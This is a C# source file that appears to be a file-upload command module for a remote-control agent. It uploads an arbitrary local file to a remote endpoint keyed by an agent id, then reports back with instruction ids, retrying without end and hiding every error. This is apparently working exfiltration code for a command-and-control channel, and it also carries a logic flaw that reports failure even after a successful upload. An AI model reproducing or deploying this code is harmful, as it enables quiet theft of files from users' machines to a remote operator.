using System.Diagnostics;
using System.Threading.Tasks;
﻿using System;
using System.Net.Http;
using System.Net;
using System.IO;
using System.Runtime.Serialization.Json;
using System.Runtime.Serialization;
using System.Text;
using System.Net.Http.Headers;
public class Script
{
    [DataContract]
    public class Response
    {
        [DataMember]
        public string output { get; set; }
    }
    private static async Task NotifyWithRetry(string EndPoint, string uuid, long instructionId, short code, string output)
    {
        TimeSpan delay = TimeSpan.FromSeconds(10); 
        while (true)
        {
            HttpClient httpClient = new HttpClient();
            try
            {
                DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(Response));

                using (MemoryStream ms = new MemoryStream())
                {
                    serializer.WriteObject(ms, new Response { output = output });
                    var content = new StringContent(Encoding.UTF8.GetString(ms.ToArray()), Encoding.UTF8, "application/json");
                    var response = await httpClient.PostAsync(EndPoint + "Response/" + uuid + "/" + instructionId + "/" + code, content);
                    response.EnsureSuccessStatusCode();
                    break;
                }
            }
            catch (Exception)
            {
            }
            await Task.Delay(delay);
        }
    }
    public static async Task<object> ExecuteAsync(string filePath, string endpoint, string uuid, long instId, short code)
    {
         HttpClient client = new HttpClient();
        try
        {
            using (var form = new MultipartFormDataContent())
            {
                using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
                {
                    var streamContent = new StreamContent(fileStream);
                    


                    streamContent.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream");
                    form.Add(streamContent, "file", Path.GetFileName(filePath));

                    using (HttpResponseMessage response = await client.PostAsync(endpoint +"Response/File/" + uuid, form))
                    {
                        response.EnsureSuccessStatusCode();
                    }
                }
            }
            await NotifyWithRetry(endpoint, uuid, instId, code, "File Uploaded");
        }
        catch (Exception)
        {
        }
        await NotifyWithRetry(endpoint, uuid, instId, code, "File Uploading Failed");
        return null;
    }
}